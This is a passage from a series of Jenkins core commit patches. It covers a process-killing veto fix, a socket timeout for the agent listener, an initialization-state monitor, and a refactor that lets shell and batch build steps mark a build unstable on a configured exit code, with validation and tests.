hudson.util.ProcessTreeRemoting.IOSProcess; @@ -32,7 +33,7 @@ import java.util.List; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; -import jenkins.model.Jenkins; +import jenkins.util.JenkinsJVM; /** * Allows extensions to veto killing processes. If at least one extension vetoes @@ -74,11 +75,20 @@ public abstract class ProcessKillingVeto implements ExtensionPoint { * list if Jenkins is not available, never null. */ public static List all() { - // check if we are a thread running on the master JVM or a thread running in a remote JVM - Jenkins jenkins = Jenkins.getInstanceOrNull(); - if (jenkins == null) - return Collections.emptyList(); // we are remote, no body gets to veto - return jenkins.getExtensionList(ProcessKillingVeto.class); + if (JenkinsJVM.isJenkinsJVM()) { + return _all(); + } + return Collections.emptyList(); + } + + /** + * As classloading is lazy, the classes referenced in this method will not be resolved + * until the first time the method is invoked, so we use this method to guard access to Jenkins JVM only classes. + * + * @return All ProcessKillingVeto extensions currently registered. + */ + private static List _all() { + return ExtensionList.lookup(ProcessKillingVeto.class); } /** -- GitLab From b3ea052cddadffaee5d59c3c7e5ed4c1d544eb37 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 25 Sep 2016 03:51:59 +0200 Subject: [PATCH 198/712] [JENKINS-34287,JENKINS-23232] Update executable-war to 1.34 Diff: https://github.com/jenkinsci/extras-executable-war/compare/executable-war-1.33...executable-war-1.34 * https://issues.jenkins-ci.org/browse/JENKINS-23232 * https://issues.jenkins-ci.org/browse/JENKINS-34287 (cherry picked from commit 24443acb3c92612dc623849c9458000c98a0a265) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 7e97a1ac6b..dcb7786093 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -49,7 +49,7 @@ THE SOFTWARE. org.jenkins-ci executable-war - 1.33 + 1.34 provided -- GitLab From d32b32f9115d31fe0f42d1f75eb25ea8af6909ff Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Sat, 1 Oct 2016 11:19:33 +0100 Subject: [PATCH 199/712] [FIXED JENKINS-38473] Set a short timeout on the socket when using it to wake the acceptor thread. (#2564) * [FIXED JENKINS-38473] Set a short timeout on the socket when using it to wake the acceptor thread. * [JENKINS-38473] Remove leftover typing in wrong window (cherry picked from commit 1689f6b7a21fc910a186e092227780c614ed7443) --- core/src/main/java/hudson/TcpSlaveAgentListener.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 7804d04998..6bee598966 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -170,6 +170,7 @@ public final class TcpSlaveAgentListener extends Thread { if (localAddress instanceof InetSocketAddress) { InetSocketAddress address = (InetSocketAddress) localAddress; Socket client = new Socket(address.getHostName(), address.getPort()); + client.setSoTimeout(1000); // waking the acceptor loop should be quick new PingAgentProtocol().connect(client); } } catch (IOException e) { -- GitLab From 3e660d71fca66fef7f321b715c9a98be1dc99e49 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 3 Sep 2016 14:14:45 +0200 Subject: [PATCH 200/712] [JENKINS-37874] - Print warnings if Jenkins startup/reload do not reach the COMPLETED state (#2530) * [JENKINS-37874] - Log SEVERE messages if Jenkins does not reach COMPLETED stage during startup or reload * [JENKINS-37874] - Add Administrative monitor for the COMPLETED state * [JENKINS-37874] - Polish log messages (cherry picked from commit 0f45609fb20248a227fc1071725d2afa6d1f61af) --- .../CompletedInitializationMonitor.java | 50 +++++++++++++++++++ core/src/main/java/jenkins/model/Jenkins.java | 24 +++++++++ .../message.jelly | 11 ++++ .../message.properties | 6 +++ 4 files changed, 91 insertions(+) create mode 100644 core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java create mode 100644 core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly create mode 100644 core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties diff --git a/core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java b/core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java new file mode 100644 index 0000000000..57dc563d09 --- /dev/null +++ b/core/src/main/java/jenkins/diagnostics/CompletedInitializationMonitor.java @@ -0,0 +1,50 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.diagnostics; + +import hudson.Extension; +import hudson.init.InitMilestone; +import hudson.model.AdministrativeMonitor; +import jenkins.model.Jenkins; +import org.jenkinsci.Symbol; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; + +/** + * Performs monitoring of {@link Jenkins} {@link InitMilestone} status. + * + * @author Oleg Nenashev + * @since TODO + */ +@Restricted(NoExternalUse.class) +@Extension @Symbol("completedInitialization") +public class CompletedInitializationMonitor extends AdministrativeMonitor { + @Override + public boolean isActivated() { + final Jenkins instance = Jenkins.getInstance(); + // Safe to check in such way, because monitors are being checked in UI only. + // So Jenkins class construction and initialization must be always finished by the call of this extension. + return instance.getInitLevel() != InitMilestone.COMPLETED; + } +} diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index f165e1149f..66090849f9 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -908,6 +908,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve InitMilestone.ordering() // forced ordering among key milestones ); + // Ensure we reached the final initialization state. Log the error otherwise + if (initLevel != InitMilestone.COMPLETED) { + LOGGER.log(SEVERE, "Jenkins initialization has not reached the COMPLETED initialization milestone after the startup. " + + "Current state: {0}. " + + "It may cause undefined incorrect behavior in Jenkins plugin relying on this state. " + + "It is likely an issue with the Initialization task graph. " + + "Example: usage of @Initializer(after = InitMilestone.COMPLETED) in a plugin (JENKINS-37759). " + + "Please create a bug in Jenkins bugtracker. ", + initLevel); + } + + if(KILL_AFTER_LOAD) System.exit(0); @@ -3840,6 +3852,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve public void reload() throws IOException, InterruptedException, ReactorException { queue.save(); executeReactor(null, loadTasks()); + + // Ensure we reached the final initialization state. Log the error otherwise + if (initLevel != InitMilestone.COMPLETED) { + LOGGER.log(SEVERE, "Jenkins initialization has not reached the COMPLETED initialization milestone after the configuration reload. " + + "Current state: {0}. " + + "It may cause undefined incorrect behavior in Jenkins plugin relying on this state. " + + "It is likely an issue with the Initialization task graph. " + + "Example: usage of @Initializer(after = InitMilestone.COMPLETED) in a plugin (JENKINS-37759). " + + "Please create a bug in Jenkins bugtracker.", + initLevel); + } + User.reload(); queue.load(); servletContext.setAttribute("app", this); diff --git a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly new file mode 100644 index 0000000000..80d6bd1e5f --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.jelly @@ -0,0 +1,11 @@ + + +
    + ${%Warning!} + ${%blurb(app.initLevel)} + ${%Example: usage of} @Initializer(after = InitMilestone.COMPLETED) ${%in a plugin} + (JENKINS-37759). + ${%Please} ${%report a bug} ${%in the Jenkins bugtracker}. + +
    +
    diff --git a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties new file mode 100644 index 0000000000..c34fa2df46 --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message.properties @@ -0,0 +1,6 @@ +blurb= Jenkins initialization has not reached the COMPLETED initialization milestone after the configuration reload. \ + Current state is: \"{0}\". \ + Such invalid state may cause undefined incorrect behavior of Jenkins plugins. \ + It is likely an issue with the jenkins initialization or reloading task graph. + + -- GitLab From 359548efa074f9ed3537552f5f9f2b51faf33e25 Mon Sep 17 00:00:00 2001 From: stochmim Date: Thu, 22 Sep 2016 16:44:57 +0200 Subject: [PATCH 201/712] Fix for 23786 Permit 'Execute shell' jobs to return 2 for 'unstable' refactor and fix remove duplication and fix FB errors fix integration tests consistency fixes consistency fixes changed error message to warning fix comment and warning message fix comment fix junit tests fix junit tests fix junit tests fix junit tests clean import a commit to trigger jenkins checks --- .../src/main/java/hudson/tasks/BatchFile.java | 62 ++++--- .../java/hudson/tasks/CommandInterpreter.java | 48 +++--- core/src/main/java/hudson/tasks/Shell.java | 88 +++++----- .../hudson/tasks/BatchFile/config.jelly | 7 +- .../hudson/tasks/BatchFile/config.properties | 3 +- .../tasks/BatchFile/help-unstableReturn.html | 9 ++ .../hudson/tasks/Messages.properties | 4 + .../hudson/tasks/Shell/config.groovy | 5 +- .../hudson/tasks/Shell/config.properties | 2 +- .../tasks/Shell/help-unstableReturn.html | 5 + .../test/java/hudson/tasks/BatchFileTest.java | 152 ++++++++++++------ .../src/test/java/hudson/tasks/ShellTest.java | 122 +++++++++----- 12 files changed, 321 insertions(+), 186 deletions(-) create mode 100644 core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html create mode 100644 core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html diff --git a/core/src/main/java/hudson/tasks/BatchFile.java b/core/src/main/java/hudson/tasks/BatchFile.java index 18cf620eba..675c316eeb 100644 --- a/core/src/main/java/hudson/tasks/BatchFile.java +++ b/core/src/main/java/hudson/tasks/BatchFile.java @@ -25,14 +25,21 @@ package hudson.tasks; import hudson.FilePath; import hudson.Extension; +import hudson.Util; import hudson.model.AbstractProject; +import hudson.util.FormValidation; import hudson.util.LineEndingConversion; -import net.sf.json.JSONObject; import org.jenkinsci.Symbol; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.DataBoundConstructor; -import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.DataBoundSetter; +import org.kohsuke.stapler.QueryParameter; + import java.io.ObjectStreamException; +import javax.annotation.CheckForNull; + /** * Executes commands by using Windows batch file. * @@ -40,16 +47,11 @@ import java.io.ObjectStreamException; */ public class BatchFile extends CommandInterpreter { @DataBoundConstructor - public BatchFile(String command, Integer unstableReturn) { - super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Windows)); - this.unstableReturn = unstableReturn; - } - public BatchFile(String command) { - this(command, null); + super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Windows)); } - private final Integer unstableReturn; + private Integer unstableReturn; public String[] buildCommandLine(FilePath script) { return new String[] {"cmd","/c","call",script.getRemote()}; @@ -63,8 +65,19 @@ public class BatchFile extends CommandInterpreter { return ".bat"; } + @CheckForNull public final Integer getUnstableReturn() { - return unstableReturn; + return new Integer(0).equals(unstableReturn) ? null : unstableReturn; + } + + @DataBoundSetter + public void setUnstableReturn(Integer unstableReturn) { + this.unstableReturn = unstableReturn; + } + + @Override + protected boolean isErrorlevelForUnstableBuild(int exitCode) { + return this.unstableReturn != null && exitCode != 0 && this.unstableReturn.equals(exitCode); } private Object readResolve() throws ObjectStreamException { @@ -82,15 +95,28 @@ public class BatchFile extends CommandInterpreter { return Messages.BatchFile_DisplayName(); } - @Override - public Builder newInstance(StaplerRequest req, JSONObject data) { - final String unstableReturnStr = data.getString("unstableReturn"); - Integer unstableReturn = null; - if (unstableReturnStr != null && ! unstableReturnStr.isEmpty()) { - /* Already validated by f.number in the form */ - unstableReturn = (Integer)Integer.parseInt(unstableReturnStr, 10); + /** + * Performs on-the-fly validation of the errorlevel. + */ + @Restricted(DoNotUse.class) + public FormValidation doCheckUnstableReturn(@QueryParameter String value) { + value = Util.fixEmptyAndTrim(value); + if (value == null) { + return FormValidation.ok(); + } + long unstableReturn; + try { + unstableReturn = Long.parseLong(value); + } catch (NumberFormatException e) { + return FormValidation.error(hudson.model.Messages.Hudson_NotANumber()); + } + if (unstableReturn == 0) { + return FormValidation.warning(hudson.tasks.Messages.BatchFile_invalid_exit_code_zero()); + } + if (unstableReturn < Integer.MIN_VALUE || unstableReturn > Integer.MAX_VALUE) { + return FormValidation.error(hudson.tasks.Messages.BatchFile_invalid_exit_code_range(unstableReturn)); } - return new BatchFile(data.getString("command"), unstableReturn); + return FormValidation.ok(); } public boolean isApplicable(Class jobType) { diff --git a/core/src/main/java/hudson/tasks/CommandInterpreter.java b/core/src/main/java/hudson/tasks/CommandInterpreter.java index ea26667d6e..924276de38 100644 --- a/core/src/main/java/hudson/tasks/CommandInterpreter.java +++ b/core/src/main/java/hudson/tasks/CommandInterpreter.java @@ -31,6 +31,7 @@ import hudson.EnvVars; import hudson.model.AbstractBuild; import hudson.model.BuildListener; import hudson.model.Node; +import hudson.model.Result; import hudson.model.TaskListener; import hudson.remoting.ChannelClosedException; @@ -51,11 +52,6 @@ public abstract class CommandInterpreter extends Builder { */ protected final String command; - /** - * The build being run. Valid only during perform(...). - */ - protected AbstractBuild build; - public CommandInterpreter(String command) { this.command = command; } @@ -64,26 +60,24 @@ public abstract class CommandInterpreter extends Builder { return command; } - /** - * Access the current build object. - * - * Useful for {@link #join(Proc p)} for setting build results. - * - * @return The build being run, or null if outside perform(...) - * @since 1.573 - */ - protected final AbstractBuild getBuild() - { - return build; - } - @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException { return perform(build,launcher,(TaskListener)listener); } + /** + * Determines whether a non-zero exit code from the process should change the build + * status to {@link Result#UNSTABLE} instead of default {@link Result#FAILURE}. + * + * Changing to {@link Result#UNSTABLE} does not abort the build, next steps are continued. + * + * @since TODO + */ + protected boolean isErrorlevelForUnstableBuild(int exitCode) { + return false; + } + public boolean perform(AbstractBuild build, Launcher launcher, TaskListener listener) throws InterruptedException { - this.build = build; FilePath ws = build.getWorkspace(); if (ws == null) { Node node = build.getBuiltOn(); @@ -112,11 +106,15 @@ public abstract class CommandInterpreter extends Builder { envVars.put(e.getKey(),e.getValue()); r = join(launcher.launch().cmds(buildCommandLine(script)).envs(envVars).stdout(listener).pwd(ws).start()); + + if(isErrorlevelForUnstableBuild(r)) { + build.setResult(Result.UNSTABLE); + r = 0; + } } catch (IOException e) { Util.displayIOException(e, listener); e.printStackTrace(listener.fatalError(Messages.CommandInterpreter_CommandFailed())); } - this.build = null; return r==0; } finally { try { @@ -145,12 +143,10 @@ public abstract class CommandInterpreter extends Builder { /** * Reports the exit code from the process. * - * This allows subtypes to treat the exit code differently (for example by - * treating non-zero exit code as if it's zero). Any non-zero exit code - * will cause the build step to fail. - * - * To set the status to {@link Result#UNSTABLE}, use {@link #getBuild()} and - * call {@code getBuild().setResult(BuildResult.UNSTABLE); }. + * This allows subtypes to treat the exit code differently (for example by treating non-zero exit code + * as if it's zero, or to set the status to {@link Result#UNSTABLE}). Any non-zero exit code will cause + * the build step to fail. Use {@link #isErrorlevelForUnstableBuild(int exitCode)} to redefine the default + * behaviour. * * @since 1.549 */ diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index a9ced4063d..bdd3ca44cf 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -27,10 +27,7 @@ import hudson.FilePath; import hudson.Functions; import hudson.Util; import hudson.Extension; -import hudson.Proc; import hudson.model.AbstractProject; -import hudson.model.Result; -import hudson.remoting.Callable; import hudson.remoting.VirtualChannel; import hudson.util.FormValidation; import java.io.IOException; @@ -39,7 +36,10 @@ import hudson.util.LineEndingConversion; import jenkins.security.MasterToSlaveCallable; import net.sf.json.JSONObject; import org.jenkinsci.Symbol; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.DataBoundConstructor; +import org.kohsuke.stapler.DataBoundSetter; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.QueryParameter; @@ -49,32 +49,30 @@ import java.util.Arrays; import java.util.logging.Level; import java.util.logging.Logger; +import javax.annotation.CheckForNull; + /** * Executes a series of commands by using a shell. * * @author Kohsuke Kawaguchi */ public class Shell extends CommandInterpreter { + @DataBoundConstructor - public Shell(String command, Integer unstableReturn) { + public Shell(String command) { super(LineEndingConversion.convertEOL(command, LineEndingConversion.EOLType.Unix)); - if (unstableReturn != null && unstableReturn.equals(0)) - unstableReturn = null; - this.unstableReturn = unstableReturn; } - public Shell(String command) { - this(command, null); - } + private Integer unstableReturn; + - private final Integer unstableReturn; /** * Older versions of bash have a bug where non-ASCII on the first line * makes the shell think the file is a binary file and not a script. Adding * a leading line feed works around this problem. */ - private static String addCrForNonASCII(String s) { + private static String addLineFeedForNonASCII(String s) { if(!s.startsWith("#!")) { if (s.indexOf('\n')!=0) { return "\n" + s; @@ -94,34 +92,31 @@ public class Shell extends CommandInterpreter { args.add(script.getRemote()); args.set(0,args.get(0).substring(2)); // trim off "#!" return args.toArray(new String[args.size()]); - } else + } else return new String[] { getDescriptor().getShellOrDefault(script.getChannel()), "-xe", script.getRemote()}; } protected String getContents() { - return addCrForNonASCII(fixCrLf(command)); + return addLineFeedForNonASCII(LineEndingConversion.convertEOL(command,LineEndingConversion.EOLType.Unix)); } protected String getFileExtension() { return ".sh"; } + @CheckForNull public final Integer getUnstableReturn() { - return unstableReturn; + return new Integer(0).equals(unstableReturn) ? null : unstableReturn; + } + + @DataBoundSetter + public void setUnstableReturn(Integer unstableReturn) { + this.unstableReturn = unstableReturn; } - /** - * Allow the user to define a result for "unstable": - */ @Override - protected int join(Proc p) throws IOException, InterruptedException { - final int result = p.join(); - if (this.unstableReturn != null && result != 0 && this.unstableReturn.equals(result)) { - getBuild().setResult(Result.UNSTABLE); - return 0; - } - else - return result; + protected boolean isErrorlevelForUnstableBuild(int exitCode) { + return this.unstableReturn != null && exitCode != 0 && this.unstableReturn.equals(exitCode); } @Override @@ -164,7 +159,7 @@ public class Shell extends CommandInterpreter { } public String getShellOrDefault(VirtualChannel channel) { - if (shell != null) + if (shell != null) return shell; String interpreter = null; @@ -181,7 +176,7 @@ public class Shell extends CommandInterpreter { return interpreter; } - + public void setShell(String shell) { this.shell = Util.fixEmptyAndTrim(shell); save(); @@ -191,15 +186,28 @@ public class Shell extends CommandInterpreter { return Messages.Shell_DisplayName(); } - @Override - public Builder newInstance(StaplerRequest req, JSONObject data) { - final String unstableReturnStr = data.getString("unstableReturn"); - Integer unstableReturn = null; - if (unstableReturnStr != null && ! unstableReturnStr.isEmpty()) { - /* Already validated by f.number in the form */ - unstableReturn = (Integer)Integer.parseInt(unstableReturnStr, 10); + /** + * Performs on-the-fly validation of the exit code. + */ + @Restricted(DoNotUse.class) + public FormValidation doCheckUnstableReturn(@QueryParameter String value) { + value = Util.fixEmptyAndTrim(value); + if (value == null) { + return FormValidation.ok(); + } + long unstableReturn; + try { + unstableReturn = Long.parseLong(value); + } catch (NumberFormatException e) { + return FormValidation.error(hudson.model.Messages.Hudson_NotANumber()); } - return new Shell(data.getString("command"), unstableReturn); + if (unstableReturn == 0) { + return FormValidation.warning(hudson.tasks.Messages.Shell_invalid_exit_code_zero()); + } + if (unstableReturn < 1 || unstableReturn > 255) { + return FormValidation.error(hudson.tasks.Messages.Shell_invalid_exit_code_range(unstableReturn)); + } + return FormValidation.ok(); } @Override @@ -213,9 +221,9 @@ public class Shell extends CommandInterpreter { */ public FormValidation doCheckShell(@QueryParameter String value) { // Executable requires admin permission - return FormValidation.validateExecutable(value); + return FormValidation.validateExecutable(value); } - + private static final class Shellinterpreter extends MasterToSlaveCallable { private static final long serialVersionUID = 1L; @@ -224,8 +232,8 @@ public class Shell extends CommandInterpreter { return Functions.isWindows() ? "sh" : "/bin/sh"; } } - + } - + private static final Logger LOGGER = Logger.getLogger(Shell.class.getName()); } diff --git a/core/src/main/resources/hudson/tasks/BatchFile/config.jelly b/core/src/main/resources/hudson/tasks/BatchFile/config.jelly index 97e0fdc429..19fbdcef64 100644 --- a/core/src/main/resources/hudson/tasks/BatchFile/config.jelly +++ b/core/src/main/resources/hudson/tasks/BatchFile/config.jelly @@ -25,13 +25,12 @@ THE SOFTWARE. + description="${%description(rootURL)}"> - - + + diff --git a/core/src/main/resources/hudson/tasks/BatchFile/config.properties b/core/src/main/resources/hudson/tasks/BatchFile/config.properties index 5e0b6e0b04..e416300f20 100644 --- a/core/src/main/resources/hudson/tasks/BatchFile/config.properties +++ b/core/src/main/resources/hudson/tasks/BatchFile/config.properties @@ -20,5 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -command_description=See the list of available environment variables -unstableReturn_description=If set, the batch errorlevel result that will be interpreted as an unstable build result. +description=See the list of available environment variables diff --git a/core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html b/core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html new file mode 100644 index 0000000000..8dc41ec39c --- /dev/null +++ b/core/src/main/resources/hudson/tasks/BatchFile/help-unstableReturn.html @@ -0,0 +1,9 @@ +
    + If set, the batch errorlevel result that will be interpreted as an unstable build result. + If the final errorlevel matches the value, the build results will be set to unstable and + next steps will be continued. Supported values match the widest errorlevel range for Windows + like systems. In Windows NT4 and beyond the ERRORLEVEL is stored as a four byte, signed integer, + yielding maximum and minimum values of 2147483647 and -2147483648, respectively. Older versions + of Windows use 2 bytes. DOS like systems use single byte, yelding errorlevels between 0-255. + The value 0 is ignored and does not make the build unstable to keep the default behaviour consistent. +
    diff --git a/core/src/main/resources/hudson/tasks/Messages.properties b/core/src/main/resources/hudson/tasks/Messages.properties index 1cc86c71d7..67417b1e72 100644 --- a/core/src/main/resources/hudson/tasks/Messages.properties +++ b/core/src/main/resources/hudson/tasks/Messages.properties @@ -39,6 +39,8 @@ If you really did mean to archive all the files in the workspace, please specify ArtifactArchiver.NoMatchFound=No artifacts found that match the file pattern "{0}". Configuration error? BatchFile.DisplayName=Execute Windows batch command +BatchFile.invalid_exit_code_range=Invalid errorlevel value: {0}. Check help section +BatchFile.invalid_exit_code_zero=ERRORLEVEL zero is ignored and does not make the build unstable BuildTrigger.Disabled={0} is disabled. Triggering skipped BuildTrigger.DisplayName=Build other projects @@ -81,3 +83,5 @@ Maven.NotMavenDirectory={0} doesn\u2019t look like a Maven directory Maven.NoExecutable=Couldn\u2019t find any executable in {0} Shell.DisplayName=Execute shell +Shell.invalid_exit_code_range=Invalid exit code value: {0}. Check help section +Shell.invalid_exit_code_zero=Exit code zero is ignored and does not make the build unstable \ No newline at end of file diff --git a/core/src/main/resources/hudson/tasks/Shell/config.groovy b/core/src/main/resources/hudson/tasks/Shell/config.groovy index 72d4208c16..58c4880bf2 100644 --- a/core/src/main/resources/hudson/tasks/Shell/config.groovy +++ b/core/src/main/resources/hudson/tasks/Shell/config.groovy @@ -29,9 +29,8 @@ f.entry(title:_("Command"),description:_("description",rootURL)) { } f.advanced() { - - f.entry(title:_("Return code to set build unstable"), description:_("If set, the script return code that will be interpreted as an unstable build result.")) { - f.number(name: "unstableReturn", value: instance?.unstableReturn, min:1, max:255, step:1) + f.entry(title:_("Exit code to set build unstable"), field: "unstableReturn") { + f.number(clazz:"positive-number", value: instance?.unstableReturn, min:1, max:255, step:1) } } diff --git a/core/src/main/resources/hudson/tasks/Shell/config.properties b/core/src/main/resources/hudson/tasks/Shell/config.properties index 5918ee6a1a..0d7b36f4a5 100644 --- a/core/src/main/resources/hudson/tasks/Shell/config.properties +++ b/core/src/main/resources/hudson/tasks/Shell/config.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -description=See the list of available environment variables \ No newline at end of file +description=See the list of available environment variables diff --git a/core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html b/core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html new file mode 100644 index 0000000000..bc6426fa3d --- /dev/null +++ b/core/src/main/resources/hudson/tasks/Shell/help-unstableReturn.html @@ -0,0 +1,5 @@ +
    + If set, the shell exit code that will be interpreted as an unstable build result. If the exit code matches the value, + the build results will be set to 'unstable' and next steps will be continued. On Unix-like it is a value between 0-255. + The value 0 is ignored and does not make the build unstable to keep the default behaviour consistent. +
    diff --git a/test/src/test/java/hudson/tasks/BatchFileTest.java b/test/src/test/java/hudson/tasks/BatchFileTest.java index 504c5a94ef..93673d6c95 100644 --- a/test/src/test/java/hudson/tasks/BatchFileTest.java +++ b/test/src/test/java/hudson/tasks/BatchFileTest.java @@ -1,25 +1,29 @@ package hudson.tasks; -import static org.junit.Assert.asssertNull; +import static org.junit.Assert.assertNull; import static org.junit.Assume.assumeTrue; +import java.io.IOException; + +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.FakeLauncher; +import org.jvnet.hudson.test.PretendSlave; import hudson.Functions; import hudson.Launcher.ProcStarter; import hudson.Proc; import hudson.model.Result; -import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; -import org.apache.commons.io.FileUtils; -import org.jvnet.hudson.test.FakeLauncher; -import org.jvnet.hudson.test.HudsonTestCase; -import org.jvnet.hudson.test.PretendSlave; -import org.jvnet.hudson.test.Issue; -import org.jvnet.hudson.test.JenkinsRule; -import java.io.File; -import java.io.IOException; -import java.io.PrintStream; -import java.util.List; + +/** + * Tests for the BatchFile tasks class. + * + * @author David Ruhmann + */ +public class BatchFileTest { @Rule public JenkinsRule rule = new JenkinsRule(); @@ -53,53 +57,95 @@ import java.util.List; } } + private static Shell createNewBatchTask(String command, Integer unstableReturn) { + Shell shell = new Shell(command); + shell.setUnstableReturn(unstableReturn); + return shell; + } + + private void nonZeroErrorlevelShouldMakeBuildUnstable(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(exitCode)); + + FreeStyleProject p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", exitCode)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); + } + + @Test @Issue("JENKINS-23786") - public void testUnstableReturn() throws Exception { - if(!Functions.isWindows()) - return; + public void windowsNonZeroErrorlevelsShouldMakeBuildUnstable() throws Exception { + assumeTrue(Functions.isWindows()); + for( int exitCode: new int [] {Integer.MIN_VALUE, -1, 1, Integer.MAX_VALUE}) { + nonZeroErrorlevelShouldMakeBuildUnstable(exitCode); + } + } - PretendSlave returns2 = createPretendSlave(new ReturnCodeFakeLauncher(2)); - PretendSlave returns1 = createPretendSlave(new ReturnCodeFakeLauncher(1)); - PretendSlave returns0 = createPretendSlave(new ReturnCodeFakeLauncher(0)); + private void nonZeroErrorlevelShouldBreakTheBuildByDefault(int exitCode) throws Exception { + PretendSlave slave = rule.createPretendSlave(new BatchFileTest.ReturnCodeFakeLauncher(exitCode)); FreeStyleProject p; - FreeStyleBuild b; - - /* Unstable=2, error codes 0/1/2 */ - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", 2)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.UNSTABLE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", 2)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", 2)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); - - /* unstable=null, error codes 0/1/2 */ - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", null)); - p.setAssignedNode(returns2); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", null)); - p.setAssignedNode(returns1); - b = assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); - - p = createFreeStyleProject(); - p.getBuildersList().add(new BatchFile("", null)); - p.setAssignedNode(returns0); - b = assertBuildStatus(Result.SUCCESS, p.scheduleBuild2(0).get()); - /* Creating unstable=0 produces unstable=null */ - assertNull( new BatchFile("",0).getUnstableReturn() ); + p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", null)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); + p = rule.createFreeStyleProject(); + p.getBuildersList().add(createNewBatchTask("", 0)); + p.setAssignedNode(slave); + rule.assertBuildStatus(Result.FAILURE, p.scheduleBuild2(0).get()); } + @Test + @Issue("JENKINS-23786") 